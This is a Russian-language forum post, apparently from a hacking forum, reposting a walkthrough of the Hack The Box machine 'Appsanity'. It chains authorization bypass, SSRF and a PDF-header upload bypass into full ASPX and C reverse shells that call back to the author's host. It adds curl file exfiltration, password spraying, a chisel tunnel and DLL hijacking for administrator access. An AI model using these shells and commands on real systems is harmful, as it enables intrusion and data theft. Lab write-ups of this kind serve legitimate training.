• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Используем DLL Hijacking для повышения привилегий

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,181
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как можно применять технику перехвата DLL для повышения привилегий в Windows. Но прежде мы атакуем веб‑сайт и получим RCE через комбинацию из SSRF и уязвимости при загрузке файлов.
Наша цель — получение прав суперпользователя на машине Appsanity с учебной площадки Hack The Box. Уровень машины заявлен сложный.

warning​


Разведка​

Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.238 appsanity.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта

Сканер нашел три открытых порта:
  • 80 и 443 — веб‑сервер Microsoft IIS 10.0;
  • 5985 — служба удаленного управления WinRM.
На сервере всего одна точка входа — это веб‑сервер. При этом, как отображено в выводе Nmap, происходит редирект на сайт Для просмотра ссылки Войди или Зарегистрируйся. Добавляем этот домен в /etc/hosts и идем смотреть сайт.

10.10.11.238 appsanity.htb meddigi.htb
Главная страница сайта meddigi.htb

Сразу же запускаем сканер поддоменов.

Справка: сканирование веба c ffuf​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войди или Зарегистрируйся. При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь;
  • -t — количество потоков;
  • -H — HTTP-заголовок.
Запускаем сканирование:

ffuf -u "[URL]https://meddigi.htb/[/URL]" -H 'Host: FUZZ.meddigi.htb' -t 128 -w subdomains-top1million-110000.txt
Результат сканирования поддоменов

Спустя пару минут получаем еще один поддомен, который тоже добавляем в /etc/hosts.

10.10.11.238 appsanity.htb meddigi.htb portal.meddigi.htb
Главная страница сайта portal.meddigi.htb

Теперь перейдем к анализу самих сайтов.

Точка входа​


Повышение привилегий на сайте​

На первом сайте, в отличие от второго, есть возможность регистрации.

Форма авторизации сайта meddigi.htb

Авторизовавшись на сайте, получаем страницу профиля, где есть несколько полей ввода и даже возможность отправить сообщение кому‑то.

Содержимое страницы Profile

Но ничего интересного найти не удалось, поэтому вернемся в самое начало и просмотрим все запросы в Burp History. В глаза бросился параметр Acctype в запросе на авторизацию.

Запрос на авторизацию

Выйдем из своего профиля на сайте, активируем перехват запроса в Burp Proxy и снова пройдем авторизацию. Но в этот раз в перехваченном запросе изменим значение параметра Acctype на 2.

Запрос на авторизацию Профиль пользователя

На этот раз мы авторизовались как доктор, и страница профиля содержит новые элементы.


Обход авторизации​

Но снова ничего интересного найти не удалось. Однако здесь используется сессия AspNet, а значит, можно проверить токен доступа на другом сайте. Вдруг используется общий механизм авторизации. Для этого копируем cookie с сайта, где мы уже авторизовались, и используем их на portal.meddigi.htb.

Запрос к portal.meddigi.htb Главная страница сайта portal.meddigi.htb

И получаем доступ к другому сайту от имени авторизованного пользователя. Но так как куки вставлялись через Burp, мы не сможем гулять по всему сайту. Давай откроем браузер и закинем токен доступа в хранилище Cookies.

Хранилище браузера

Теперь у нас есть полноценный доступ ко всем механизмам веб‑приложения. На одной из страниц разрешают сохранять документ по ссылке, что может привести к SSRF. На другой странице можно загружать файлы, а это потенциально ведет к возможности залить шелл.

Содержимое страницы Prescriptions Содержимое страницы examreport

Точка опоры​


SSRF​

Начинаем с формы сохранения документов по ссылке. Для проверки запускаем на локальной машине веб‑сервер:

python3 -m http.server 80
А затем указываем тестовую ссылку на этот сервер в поле ввода.

Ошибка отображения страницы


Логи веб‑сервера


Запрос с сервера приходит на внешний адрес. Теперь нужно проверить, приходит ли на внутренний. Для этого указываем в поле ввода адрес сайта и в открывшемся окошке отмечаем страницу профиля. А значит, можно выполнять запросы на внутренние ресурсы.

Отображение страницы профиля через SSRF

На этом этапе нам нужно найти другие внутренние ресурсы, к примеру «сканируя» порты через Burp Intruder. Для этого в Burp Proxy комбинацией клавиш Ctrl-I отправляем запрос в Intruder и указываем в ссылке порт как место перебора. В настройках атаки указываем постоянный редирект.

Burp Intruder — вкладка Positions Вкладка Payloads


Вкладка Settings


Результаты сортируем по размеру страницы и находим тот вариант, который отличается от остальных. А значит, на порте 8080 работает еще один сервис.

Результат атаки
Этот сервис просто отображает список отчетов. При переходе по ссылке на отчет будет загружен документ PDF.

Отображение страницы с отчетами через SSRF История запросов в Burp History

Здесь больше делать нечего, поэтому переходим к форме загрузки файлов.


File upload to RCE​

Сперва загружаем обычный текстовый файл и просматриваем запрос на сервер в Burp Proxy.

Для просмотра ссылки Войди или Зарегистрируйся Запрос на сервер в Burp Proxy

При загрузке такого файла получаем ошибку, так как загружать можно только PDF-документы. Я попробовал поменять расширение файла на .pdf, но это тоже ничего полезного не дало. Значит, проверяется содержимое файла. Все нормальные PDF начинаются с определенной последовательности, которую мы добавим в начало загружаемого файла: %PDF-1.7.

Новое содержимое файла Сообщение об успешной загрузке файла

Файл успешно загружен, и мы можем найти его через SSRF на другом ресурсе, где хранятся загруженные отчеты. Даже можем получить содержимое этого файла вот по такой ссылке:

[URL unfurl="true"]http://127.0.0.1:8080/ViewReport.aspx?file=940d0924-6157-4465-9d56-823d28998e67_test.txt[/URL]
Список отчетов Содержимое загруженного файла

Так как файл отображен в текстовом виде, мы можем подобным образом загрузить на сервер и реверс‑шелл на ASPX. Я использую следующий код:

Код:
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">

  protected void Page_Load(object sender, EventArgs e)
  {
    String host = ""; //CHANGE THIS
      int port = ; ////CHANGE THIS

    CallbackShell(host, port);
  }

  [StructLayout(LayoutKind.Sequential)]
  public struct STARTUPINFO
  {
    public int cb;
    public String lpReserved;
    public String lpDesktop;
    public String lpTitle;
    public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
    public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFlags;
    public short wShowWindow;
    public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
  }

  [StructLayout(LayoutKind.Sequential)]
  public struct PROCESS_INFORMATION
  {
    public IntPtr hProcess;
    public IntPtr hThread;
    public uint dwProcessId;
    public uint dwThreadId;
  }

  [StructLayout(LayoutKind.Sequential)]
  public struct SECURITY_ATTRIBUTES
  {
    public int Length;
    public IntPtr lpSecurityDescriptor;
    public bool bInheritHandle;
  }


  [DllImport("kernel32.dll")]
  static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

  public static uint INFINITE = 0xFFFFFFFF;

  [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
  internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);

  internal struct sockaddr_in
  {
    public short sin_family;
    public short sin_port;
    public int sin_addr;
    public long sin_zero;
  }

  [DllImport("kernel32.dll")]
  static extern IntPtr GetStdHandle(int nStdHandle);

  [DllImport("kernel32.dll")]
  static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);

  public const int STD_INPUT_HANDLE = -10;
  public const int STD_OUTPUT_HANDLE = -11;
  public const int STD_ERROR_HANDLE = -12;

  [DllImport("kernel32")]
  static extern bool AllocConsole();


  [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  internal static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags );

  [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  internal static extern int inet_addr([In] string cp);

  [DllImport("ws2_32.dll")]
  private static extern string inet_ntoa(uint ip);

  [DllImport("ws2_32.dll")]
  private static extern uint htonl(uint ip);

  [DllImport("ws2_32.dll")]
  private static extern uint ntohl(uint ip);

  [DllImport("ws2_32.dll")]
  private static extern ushort htons(ushort ip);

  [DllImport("ws2_32.dll")]
  private static extern ushort ntohs(ushort ip);


   [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
   internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);

  [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int send( [In] IntPtr socketHandle, [In] byte[] pinnedBuffer, [In] int len, [In] SocketFlags socketFlags );

  [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int recv( [In] IntPtr socketHandle, [In] IntPtr pinnedBuffer, [In] int len, [In] SocketFlags socketFlags );

  [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int closesocket( [In] IntPtr socketHandle );

  [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern IntPtr accept( [In] IntPtr socketHandle, [In, Out] ref sockaddr_in socketAddress, [In, Out] ref int socketAddressSize );

  [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int listen( [In] IntPtr socketHandle, [In] int backlog );

  [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int bind( [In] IntPtr socketHandle, [In] ref sockaddr_in  socketAddress, [In] int socketAddressSize );


   public enum TOKEN_INFORMATION_CLASS
   {
     TokenUser = 1,
     TokenGroups,
     TokenPrivileges,
     TokenOwner,
     TokenPrimaryGroup,
     TokenDefaultDacl,
     TokenSource,
     TokenType,
     TokenImpersonationLevel,
     TokenStatistics,
     TokenRestrictedSids,
     TokenSessionId
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public static extern bool GetTokenInformation( IntPtr hToken, TOKEN_INFORMATION_CLASS tokenInfoClass, IntPtr TokenInformation, int tokeInfoLength, ref int reqLength);

   public enum TOKEN_TYPE
   {
     TokenPrimary = 1,
     TokenImpersonation
   }

   public enum SECURITY_IMPERSONATION_LEVEL
   {
     SecurityAnonymous,
     SecurityIdentification,
     SecurityImpersonation,
     SecurityDelegation
   }

   [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
   public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

   [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
   public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType, ref IntPtr DuplicateTokenHandle);



   const int ERROR_NO_MORE_ITEMS = 259;

   [StructLayout(LayoutKind.Sequential)]
   struct TOKEN_USER
   {
     public _SID_AND_ATTRIBUTES User;
   }

   [StructLayout(LayoutKind.Sequential)]
   public struct _SID_AND_ATTRIBUTES
   {
     public IntPtr Sid;
     public int Attributes;
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool LookupAccountSid( [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, IntPtr pSid, StringBuilder Account, ref int cbName, StringBuilder DomainName, ref int cbDomainName, ref int peUse );

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool ConvertSidToStringSid( IntPtr pSID, [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);


   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool CloseHandle( IntPtr hHandle);

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);

   [Flags]
   public enum ProcessAccessFlags : uint
   {
     All = 0x001F0FFF,
     Terminate = 0x00000001,
     CreateThread = 0x00000002,
     VMOperation = 0x00000008,
     VMRead = 0x00000010,
     VMWrite = 0x00000020,
     DupHandle = 0x00000040,
     SetInformation = 0x00000200,
     QueryInformation = 0x00000400,
     Synchronize = 0x00100000
   }

   [DllImport("kernel32.dll")]
   static extern IntPtr GetCurrentProcess();

   [DllImport("kernel32.dll")]
   extern static IntPtr GetCurrentThread();


   [DllImport("kernel32.dll", SetLastError = true)]
   [return: MarshalAs(UnmanagedType.Bool)]
   static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);

  [DllImport("psapi.dll", SetLastError = true)]
  public static extern bool EnumProcessModules(IntPtr hProcess, [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule, uint cb, [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);

  [DllImport("psapi.dll")]
  static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);

  public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
  public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
  public const uint PIPE_ACCESS_INBOUND = 0x00000001;
  public const uint PIPE_WAIT = 0x00000000;
  public const uint PIPE_NOWAIT = 0x00000001;
  public const uint PIPE_READMODE_BYTE = 0x00000000;
  public const uint PIPE_READMODE_MESSAGE = 0x00000002;
  public const uint PIPE_TYPE_BYTE = 0x00000000;
  public const uint PIPE_TYPE_MESSAGE = 0x00000004;
  public const uint PIPE_CLIENT_END = 0x00000000;
  public const uint PIPE_SERVER_END = 0x00000001;
  public const uint PIPE_UNLIMITED_INSTANCES = 255;

  public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
  public const uint NMPWAIT_NOWAIT = 0x00000001;
  public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;

  public const uint GENERIC_READ = (0x80000000);
  public const uint GENERIC_WRITE = (0x40000000);
  public const uint GENERIC_EXECUTE = (0x20000000);
  public const uint GENERIC_ALL = (0x10000000);

  public const uint CREATE_NEW = 1;
  public const uint CREATE_ALWAYS = 2;
  public const uint OPEN_EXISTING = 3;
  public const uint OPEN_ALWAYS = 4;
  public const uint TRUNCATE_EXISTING = 5;

  public const int INVALID_HANDLE_VALUE = -1;

  public const ulong ERROR_SUCCESS = 0;
  public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
  public const ulong ERROR_PIPE_BUSY = 231;
  public const ulong ERROR_NO_DATA = 232;
  public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
  public const ulong ERROR_MORE_DATA = 234;
  public const ulong ERROR_PIPE_CONNECTED = 535;
  public const ulong ERROR_PIPE_LISTENING = 536;

  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern IntPtr CreateNamedPipe( String lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr pipeSecurityDescriptor );

  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern bool ConnectNamedPipe( IntPtr hHandle, uint lpOverlapped );

  [DllImport("Advapi32.dll", SetLastError = true)]
  public static extern bool ImpersonateNamedPipeClient( IntPtr hHandle);

  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern bool GetNamedPipeHandleState( IntPtr hHandle, IntPtr lpState, IntPtr lpCurInstances, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout, StringBuilder lpUserName, int nMaxUserNameSize );

  protected void CallbackShell(string server, int port)
  {
    string request = "Spawn Shell...\n";
    Byte[] bytesSent = Encoding.ASCII.GetBytes(request);

    IntPtr oursocket = IntPtr.Zero;

    sockaddr_in socketinfo;
    oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
    socketinfo = new sockaddr_in();
    socketinfo.sin_family = (short) AddressFamily.InterNetwork;
    socketinfo.sin_addr = inet_addr(server);
    socketinfo.sin_port = (short) htons((ushort)port);
    connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
    send(oursocket, bytesSent, request.Length, 0);
    SpawnProcessAsPriv(oursocket);
    closesocket(oursocket);
  }

  protected void SpawnProcess(IntPtr oursocket)
  {
    bool retValue;
    string Application = Environment.GetEnvironmentVariable("comspec");
    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
    STARTUPINFO sInfo = new STARTUPINFO();
    SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
    pSec.Length = Marshal.SizeOf(pSec);
    sInfo.dwFlags = 0x00000101;
    sInfo.hStdInput = oursocket;
    sInfo.hStdOutput = oursocket;
    sInfo.hStdError = oursocket;
    retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
    WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
  }

  protected void SpawnProcessAsPriv(IntPtr oursocket)
  {
    bool retValue;
    string Application = Environment.GetEnvironmentVariable("comspec");
    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
    STARTUPINFO sInfo = new STARTUPINFO();
    SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
    pSec.Length = Marshal.SizeOf(pSec);
    sInfo.dwFlags = 0x00000101;
    IntPtr DupeToken = new IntPtr(0);
    sInfo.hStdInput = oursocket;
    sInfo.hStdOutput = oursocket;
    sInfo.hStdError = oursocket;
    if (DupeToken == IntPtr.Zero)
      retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
    else
      retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
    WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
    CloseHandle(DupeToken);
  }
  </script>

Загрузка шелла

После загрузки шелла запускаем листенер rlwrap nc -lvp 1234, обращаемся к файлу и получаем бэкконект. В сессии пользователя svc_exampanel можем прочитать первый флаг.

Сессия пользователя svc_exampanel Флаг пользователя

Продвижение​

В системе несколько пользователей с приставкой svc_, видимо, каждый из них отвечает за определенный веб‑сервис.

Список системных пользователей

Перейдем в каталог веб‑сервера и просмотрим, какие еще есть веб‑приложения.

Содержимое каталога C:\inetpub

Потратив некоторое время на блуждание по каталогам в поисках информации для продвижения, я остановился на сервисе ExaminationPanel. Рабочий каталог приложения содержит несколько библиотек .NET.

Содержимое каталога ExaminationPanel\bin

Библиотека ExaminationManagement.dll — самописная, поэтому скачиваем ее для дальнейшего анализа. Для получения файлов с удаленного хоста очень удобно и быстро использовать мой Для просмотра ссылки Войди или Зарегистрируйся, выполненный в виде небольшого скрипта на Python.

На локальном хосте запускаем сам веб‑сервер:

python3 HTTPServerWithUpload.py 80
А на удаленном хосте, с которого нужно увести файл, используем curl для загрузки.

curl -v -X POST [URL]http://10.10.16.8/[/URL] -H "Content-Type: multipart/form-data" -F file=@C:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll
Загрузка библиотеки

Приложения .NET очень легко декомпилируются, к примеру с помощью Для просмотра ссылки Войди или Зарегистрируйся (увы, давно заброшенного). Просматривая исходники разных классов, находим ветку реестра с какими‑то секретными данными.

Для просмотра ссылки Войди или Зарегистрируйся
Получаем данные из этой ветки реестра.

reg query HKLM\Software\MedDigi
Данные из реестра

Похоже не просто на ключ шифрования, а на целый пароль. Просто поспреим его по всем пользователям на службе WinRM при помощи утилиты CrackMapExec.

crackmapexec winrm 10.10.11.238 -u users.txt -p '1g0tTh3R3m3dy!!'
Результат перебора пользователей

Мы обнаружили одну учетную запись, которая проходит авторизацию в службе. Получаем сессию пользователя с помощью Для просмотра ссылки Войди или Зарегистрируйся и продвигаемся к повышению привилегий.

evil-winrm -i 10.10.11.238 -u devdoc -p '1g0tTh3R3m3dy!!'
Информация о пользователе

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипт из набора PEASS для Windows.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Давай пройдемся по наиболее интересным находкам скрипта.

Среди установленных приложений значится некий ReportManagement.

Установленные приложения

Также прослушивается локальный порт 100.

Список прослушиваемых портов

Перейдем в каталог приложения C:\Program Files\ReportManagement\ и просмотрим файлы.

Содержимое каталога приложения
Скачиваем файл для анализа и закидываем в любой удобный дизассемблер с декомпилятором. Я использую IDA Pro.

curl -v -X POST [URL]http://10.10.16.8/[/URL] -H "Content-Type: multipart/form-data" -F file=@"C:\Program Files\ReportManagement\ReportManagement.exe"

Начинаем с просмотра строк (F12).

Строки в программе

Находим что‑то похожее на меню, переходим к месту использования строки, после чего вызываем декомпилятор.

Декомпилированный код приложения

Итак, приложение предлагает использовать одну из нескольких команд: backup, validate, recover или upload. Если просмотреть код с самого начала, увидим фрагмент, где прослушивается соединение на уже известном нам порте 100.

Декомпилированный код приложения

Приходится просматривать слишком много кода, но ничего интересного, кроме команды upload, не находим.

Декомпилированный код приложения

В коде упомянут каталог Libraries в директории приложения. Чтобы лучше понимать, что происходит, запустим Для просмотра ссылки Войди или Зарегистрируйся и добавим в фильтры имя приложения.

Настройка Process Monitor

Запускаем приложение, подключаемся к порту 100 (nc vm_address 100) и вводим команду upload asdasd. В логах Process Monitor отмечается, что нужного каталога не существует.

Логи Process Monitor

Создаем такой каталог на своей виртуальной машине и повторяем операции. На этот раз в логах отмечен поиск внутри созданного каталога.

Логи Process Monitor

Таким образом, нам нужно указывать на файл, который расположен в каталоге Libraries. Причем, как следует из кода далее, подгружен должен быть файл с расширением .dll и именем externalupload.

Декомпилированный код приложения Декомпилированный код приложения (продолжение)

Как можно видеть, ответ сервера при передаче команде upload файла externalupload.dll отличается от остальных, причем сервер пытается подгрузить эту библиотеку.

Логи netcat

DLL Hijacking​

Теперь проверим, можем ли мы записывать в нужный каталог на веб‑сервере. И, как показала утилита icacls, наш пользователь такое право имеет.

Права доступа на каталог

Таким образом, мы можем сделать вредоносную DLL, положить в нужный каталог и инициировать загрузку привилегированным процессом. Однако порт 100 работает только для внутреннего адреса, поэтому придется сделать туннель. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся.

На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).

chisel server --port 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля R для ретрансляции трафика с порта 100 нашего локального сервера на порт 100 удаленного сервера 127.0.0.1.

chisel.exe client 10.10.16.26:8888 R:100:127.0.0.1:100
В логах сервера должны увидеть сообщение о создании сессии.

Логи chisel server
Осталось создать DLL с реверс‑шеллом на порт 4321.

Код:
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "w2_32")

WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

void go() {
    // listener ip, port on attacker’s machine
    char *ip = "10.10.16.26";
    short port = 4321;

    // init socket lib
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    // create socket
    wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

    hax.sin_family = AF_INET;
    hax.sin_port = htons(port);
    hax.sin_addr.s_addr = inet_addr(ip);

    // connect to remote host
    WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&sui, 0, sizeof(sui));
    sui.cb = sizeof(sui);
    sui.dwFlags = STARTF_USESTDHANDLES;
    sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

    // start cmd.exe with redirected streams
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            go();
            break;
       case DLL_THREAD_ATTACH:
       case DLL_THREAD_DETACH:
       case DLL_PROCESS_DETACH:
               break;
    }
    return TRUE;
}

Теперь одной командой компилируем DLL-файл, после чего размещаем нашу либу в каталоге приложения.

x86_64-w64-mingw32-gcc -w -Wall -o externalupload.dll -shared revshell.c -lws2_32

Открываем листенер на порте 4321, подключаемся к приложению и инициируем загрузку DLL. Полученная сессия будет от имени администратора.

Работа с приложением Флаг рута

Машина захвачена!
 
Activity
So far there's no one here